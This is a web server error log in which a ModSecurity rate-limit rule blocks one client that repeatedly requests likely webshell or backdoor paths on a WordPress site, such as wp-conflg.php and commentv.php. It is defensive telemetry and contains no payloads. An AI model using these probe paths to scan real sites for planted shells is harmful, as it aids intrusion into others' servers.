[Sat Feb 28 01:03:07.802147 2026] [:error] [pid 15098:tid 15112] [client 20.220.196.236:43707] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/reze.php"] [unique_id "aaHOS8kFqny8dQQbmTkewAAAAIY"]
[Sat Feb 28 01:03:08.221581 2026] [:error] [pid 38620:tid 38633] [client 20.220.196.236:43758] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/reze.php"] [unique_id "aaHOTAP6I7SRqrhh7RrndQAAAUs"]
[Sat Feb 28 01:03:08.640537 2026] [:error] [pid 15099:tid 15137] [client 20.220.196.236:43664] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/reze.php"] [unique_id "aaHOTOnvP2vtPjYDq_gu8wAAAMQ"]
[Sat Feb 28 01:03:09.053501 2026] [:error] [pid 38586:tid 38603] [client 20.220.196.236:43543] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/styll.php"] [unique_id "aaHOTb_i6nvKNhjFW7UvbgAAAQ4"]
[Sat Feb 28 01:03:09.464955 2026] [:error] [pid 38586:tid 38608] [client 20.220.196.236:43703] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/styll.php"] [unique_id "aaHOTb_i6nvKNhjFW7UvbwAAARM"]
[Sat Feb 28 01:03:09.884858 2026] [:error] [pid 38586:tid 38602] [client 20.220.196.236:43635] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/styll.php"] [unique_id "aaHOTb_i6nvKNhjFW7UvcQAAAQ0"]
[Sat Feb 28 01:03:10.293101 2026] [:error] [pid 15100:tid 15180] [client 20.220.196.236:43603] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/styll.php"] [unique_id "aaHOTkOEbzcINan_ctK5AAAAAFQ"]
[Sat Feb 28 01:03:10.703534 2026] [:error] [pid 15100:tid 15182] [client 20.220.196.236:43321] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x7.php"] [unique_id "aaHOTkOEbzcINan_ctK5AQAAAFY"]
[Sat Feb 28 01:03:11.115341 2026] [:error] [pid 15100:tid 15166] [client 20.220.196.236:43280] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x7.php"] [unique_id "aaHOT0OEbzcINan_ctK5AwAAAEY"]
[Sat Feb 28 01:03:11.527766 2026] [:error] [pid 38620:tid 38637] [client 20.220.196.236:43573] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x7.php"] [unique_id "aaHOTwP6I7SRqrhh7RrnggAAAU8"]
[Sat Feb 28 01:03:11.938957 2026] [:error] [pid 15098:tid 15107] [client 20.220.196.236:43596] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x7.php"] [unique_id "aaHOT8kFqny8dQQbmTkezQAAAII"]
[Sat Feb 28 01:03:12.355050 2026] [:error] [pid 15098:tid 15105] [client 20.220.196.236:43645] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/thebe.php"] [unique_id "aaHOUMkFqny8dQQbmTkezwAAAIA"]
[Sat Feb 28 01:03:12.767369 2026] [:error] [pid 15240:tid 15244] [client 20.220.196.236:43532] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/thebe.php"] [unique_id "aaHOUC1iKL_41Rk9A9NmvgAAAAI"]
[Sat Feb 28 01:03:13.179544 2026] [:error] [pid 38620:tid 38624] [client 20.220.196.236:43645] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/thebe.php"] [unique_id "aaHOUQP6I7SRqrhh7RrnhwAAAUI"]
[Sat Feb 28 01:03:13.590243 2026] [:error] [pid 15240:tid 15252] [client 20.220.196.236:43326] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/thebe.php"] [unique_id "aaHOUS1iKL_41Rk9A9NmwgAAAAo"]
[Sat Feb 28 01:03:14.002149 2026] [:error] [pid 15100:tid 15176] [client 20.220.196.236:43903] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ddd.php"] [unique_id "aaHOUkOEbzcINan_ctK5BwAAAFA"]
[Sat Feb 28 01:03:14.412215 2026] [:error] [pid 15240:tid 15243] [client 20.220.196.236:43743] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ddd.php"] [unique_id "aaHOUi1iKL_41Rk9A9NmwwAAAAE"]
[Sat Feb 28 01:03:14.826594 2026] [:error] [pid 15099:tid 15151] [client 20.220.196.236:43997] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ddd.php"] [unique_id "aaHOUunvP2vtPjYDq_gvAAAAANI"]
[Sat Feb 28 01:03:15.234597 2026] [:error] [pid 15240:tid 15249] [client 20.220.196.236:43684] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ddd.php"] [unique_id "aaHOUy1iKL_41Rk9A9NmxAAAAAc"]
[Sat Feb 28 01:03:15.644866 2026] [:error] [pid 15098:tid 15129] [client 20.220.196.236:43647] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bgymj.php"] [unique_id "aaHOU8kFqny8dQQbmTke1AAAAJc"]
[Sat Feb 28 01:03:16.059077 2026] [:error] [pid 15099:tid 15156] [client 20.220.196.236:43700] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bgymj.php"] [unique_id "aaHOVOnvP2vtPjYDq_gvCQAAANc"]
[Sat Feb 28 01:03:16.473047 2026] [:error] [pid 15240:tid 15261] [client 20.220.196.236:43982] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bgymj.php"] [unique_id "aaHOVC1iKL_41Rk9A9NmxQAAABM"]
[Sat Feb 28 01:03:16.885881 2026] [:error] [pid 38620:tid 38640] [client 20.220.196.236:43978] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bgymj.php"] [unique_id "aaHOVAP6I7SRqrhh7RrnjQAAAVI"]
[Sat Feb 28 01:03:17.298019 2026] [:error] [pid 38620:tid 38629] [client 20.220.196.236:43520] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi.php"] [unique_id "aaHOVQP6I7SRqrhh7RrnkQAAAUc"]
[Sat Feb 28 01:03:17.711944 2026] [:error] [pid 15240:tid 15253] [client 20.220.196.236:43592] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi.php"] [unique_id "aaHOVS1iKL_41Rk9A9NmxgAAAAs"]
[Sat Feb 28 01:03:18.127343 2026] [:error] [pid 38620:tid 38630] [client 20.220.196.236:43985] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi.php"] [unique_id "aaHOVgP6I7SRqrhh7RrnlQAAAUg"]
[Sat Feb 28 01:03:18.539468 2026] [:error] [pid 38620:tid 38645] [client 20.220.196.236:43602] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi.php"] [unique_id "aaHOVgP6I7SRqrhh7RrnlwAAAVc"]
[Sat Feb 28 01:03:18.952198 2026] [:error] [pid 38586:tid 38604] [client 20.220.196.236:43721] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xpwer1.php"] [unique_id "aaHOVr_i6nvKNhjFW7UvggAAAQ8"]
[Sat Feb 28 01:03:19.363945 2026] [:error] [pid 15240:tid 15266] [client 20.220.196.236:43653] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xpwer1.php"] [unique_id "aaHOVy1iKL_41Rk9A9NmywAAABg"]
[Sat Feb 28 01:03:19.773073 2026] [:error] [pid 38586:tid 38607] [client 20.220.196.236:43742] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xpwer1.php"] [unique_id "aaHOV7_i6nvKNhjFW7UvhQAAARI"]
[Sat Feb 28 01:03:20.185884 2026] [:error] [pid 38620:tid 38641] [client 20.220.196.236:43702] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xpwer1.php"] [unique_id "aaHOWAP6I7SRqrhh7RrnpAAAAVM"]
[Sat Feb 28 01:03:20.598867 2026] [:error] [pid 15240:tid 15245] [client 20.220.196.236:43288] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lala.php"] [unique_id "aaHOWC1iKL_41Rk9A9NmzwAAAAM"]
[Sat Feb 28 01:03:21.009711 2026] [:error] [pid 15098:tid 15130] [client 20.220.196.236:43627] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lala.php"] [unique_id "aaHOWckFqny8dQQbmTke3wAAAJg"]
[Sat Feb 28 01:03:21.419293 2026] [:error] [pid 15098:tid 15105] [client 20.220.196.236:43683] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lala.php"] [unique_id "aaHOWckFqny8dQQbmTke4AAAAIA"]
[Sat Feb 28 01:03:21.829161 2026] [:error] [pid 15098:tid 15126] [client 20.220.196.236:43630] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lala.php"] [unique_id "aaHOWckFqny8dQQbmTke4gAAAJQ"]
[Sat Feb 28 01:03:22.241580 2026] [:error] [pid 38586:tid 38601] [client 20.220.196.236:43325] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aaHOWr_i6nvKNhjFW7UvjQAAAQw"]
[Sat Feb 28 01:03:22.652582 2026] [:error] [pid 38586:tid 38611] [client 20.220.196.236:43686] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aaHOWr_i6nvKNhjFW7UvkAAAARY"]
[Sat Feb 28 01:03:23.069618 2026] [:error] [pid 38586:tid 38591] [client 20.220.196.236:43646] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aaHOW7_i6nvKNhjFW7UvlQAAAQI"]
[Sat Feb 28 01:03:23.479552 2026] [:error] [pid 38586:tid 38607] [client 20.220.196.236:44016] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aaHOW7_i6nvKNhjFW7UvmQAAARI"]
[Sat Feb 28 01:03:23.891788 2026] [:error] [pid 15240:tid 15257] [client 20.220.196.236:43681] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/commentv.php"] [unique_id "aaHOWy1iKL_41Rk9A9Nm2wAAAA8"]
[Sat Feb 28 01:03:24.303699 2026] [:error] [pid 15240:tid 15246] [client 20.220.196.236:44030] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/commentv.php"] [unique_id "aaHOXC1iKL_41Rk9A9Nm3gAAAAQ"]
[Sat Feb 28 01:03:24.715789 2026] [:error] [pid 38586:tid 38591] [client 20.220.196.236:43975] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/commentv.php"] [unique_id "aaHOXL_i6nvKNhjFW7UvpQAAAQI"]
[Sat Feb 28 01:03:25.127838 2026] [:error] [pid 38620:tid 38626] [client 20.220.196.236:43844] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/commentv.php"] [unique_id "aaHOXQP6I7SRqrhh7RrnrgAAAUQ"]
[Sat Feb 28 01:03:25.540284 2026] [:error] [pid 38586:tid 38613] [client 20.220.196.236:43614] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cgi-bin/index.php"] [unique_id "aaHOXb_i6nvKNhjFW7UvqgAAARg"]
[Sat Feb 28 01:03:25.951970 2026] [:error] [pid 15240:tid 15248] [client 20.220.196.236:43265] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cgi-bin/index.php"] [unique_id "aaHOXS1iKL_41Rk9A9Nm4gAAAAY"]
[Sat Feb 28 01:03:26.366614 2026] [:error] [pid 38586:tid 38597] [client 20.220.196.236:43294] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cgi-bin/index.php"] [unique_id "aaHOXr_i6nvKNhjFW7UvsAAAAQg"]
[Sat Feb 28 01:03:26.777785 2026] [:error] [pid 38620:tid 38643] [client 20.220.196.236:43646] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cgi-bin/index.php"] [unique_id "aaHOXgP6I7SRqrhh7RrnsQAAAVU"]
[Sat Feb 28 01:03:27.188615 2026] [:error] [pid 15100:tid 15160] [client 20.220.196.236:43986] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aaHOX0OEbzcINan_ctK5GAAAAEA"]
[Sat Feb 28 01:03:27.599326 2026] [:error] [pid 15100:tid 15163] [client 20.220.196.236:43621] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aaHOX0OEbzcINan_ctK5GgAAAEM"]
[Sat Feb 28 01:03:28.011912 2026] [:error] [pid 15099:tid 15148] [client 20.220.196.236:43284] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aaHOYOnvP2vtPjYDq_gvGQAAAM8"]
[Sat Feb 28 01:03:28.425117 2026] [:error] [pid 15099:tid 15155] [client 20.220.196.236:43315] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aaHOYOnvP2vtPjYDq_gvGwAAANY"]
[Sat Feb 28 01:03:28.838397 2026] [:error] [pid 15099:tid 15144] [client 20.220.196.236:43904] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aaHOYOnvP2vtPjYDq_gvHQAAAMs"]
[Sat Feb 28 01:03:29.249195 2026] [:error] [pid 38620:tid 38630] [client 20.220.196.236:44018] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aaHOYQP6I7SRqrhh7RrnuAAAAUg"]
[Sat Feb 28 01:03:29.659240 2026] [:error] [pid 38620:tid 38645] [client 20.220.196.236:44011] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aaHOYQP6I7SRqrhh7RrnugAAAVc"]
[Sat Feb 28 01:03:30.074890 2026] [:error] [pid 15240:tid 15242] [client 20.220.196.236:43910] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aaHOYi1iKL_41Rk9A9Nm5gAAAAA"]
[Sat Feb 28 01:03:30.484280 2026] [:error] [pid 38620:tid 38634] [client 20.220.196.236:43277] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aaHOYgP6I7SRqrhh7RrnwAAAAUw"]
